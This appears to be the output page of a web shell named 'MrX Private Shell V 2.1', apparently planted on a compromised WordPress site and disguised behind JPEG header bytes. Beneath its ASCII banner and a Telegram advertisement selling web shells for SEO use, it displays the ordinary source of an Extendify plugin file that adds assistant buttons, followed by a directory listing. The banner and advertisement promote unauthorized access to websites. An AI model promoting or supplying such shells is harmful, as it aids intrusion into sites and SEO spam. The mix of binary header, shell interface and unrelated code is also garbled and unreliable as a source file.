����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { AdminBar } from '@agent/components/buttons/AdminBar';
import { Mobile } from '@agent/components/buttons/Mobile';
import { PostEditor } from '@agent/components/buttons/PostEditor';
import { render } from '@shared/lib/dom';
import { isOnLaunch } from '@shared/lib/utils';
import domReady from '@wordpress/dom-ready';
import { useEffect } from '@wordpress/element';
import { registerPlugin } from '@wordpress/plugins';
// TODO: Sometimes the admin bar is crowded, so a smarter way would be to do some analysis first and position these accordingly.
// Global toolbar
domReady(() => {
if (isOnLaunch()) return;
const id = 'wp-admin-bar-extendify-agent-btn';
if (document.getElementById(id)) return;
const agent = Object.assign(document.createElement('li'), {
className: 'extendify-agent',
id,
});
agent.style.height = '1.75rem';
agent.style.marginInlineEnd = '4px';
// TODO: If we want to allow swapping live we need to rethink this
const loc =
window.extAgentData.agentPosition === 'floating'
? '#wp-admin-bar-my-account'
: '#wp-admin-bar-wp-logo';
document.querySelector(loc)?.before(agent);
render(<AdminBar />, agent);
});
// Mobile
domReady(() => {
if (isOnLaunch()) return;
const id = 'extendify-agent-mobile-btn';
if (document.getElementById(id)) return;
const agent = Object.assign(document.createElement('div'), {
className: 'extendify-agent',
id,
});
agent.style.position = 'sticky';
agent.style.top = 'calc(100% - var(--extendify-agent-mobile-btn-height))';
agent.style.bottom = '0';
agent.style.zIndex = '99999';
document.body.appendChild(agent);
render(<Mobile />, agent);
});
// In editor
registerPlugin('extendify-agent-buttons', {
render: () => <AgentButton />,
});
const AgentButton = () => {
useEffect(() => {
if (isOnLaunch()) return;
const id = 'extendify-agent-editor-btn';
if (document.getElementById(id)) return;
const agent = Object.assign(document.createElement('span'), {
className: 'extendify-agent',
id,
});
setTimeout(() => {
if (document.getElementById(id)) return;
const page = '[aria-controls="edit-post:document"]';
const fse = '[aria-controls="edit-site:template"]';
document.querySelector(page)?.after(agent);
document.querySelector(fse)?.after(agent);
render(<PostEditor />, agent);
}, 300);
}, []);
return null;
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| components | Folder | 0755 |
|
|
| hooks | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| state | Folder | 0755 |
|
|
| tours | Folder | 0755 |
|
|
| workflows | Folder | 0755 |
|
|
| Agent.jsx | File | 19.6 KB | 0644 |
|
| Chat.jsx | File | 1.98 KB | 0644 |
|
| agent.css | File | 3.98 KB | 0644 |
|
| agent.js | File | 1.42 KB | 0644 |
|
| api.js | File | 4.48 KB | 0644 |
|
| buttons.js | File | 2.29 KB | 0644 |
|
| icons.jsx | File | 6.92 KB | 0644 |
|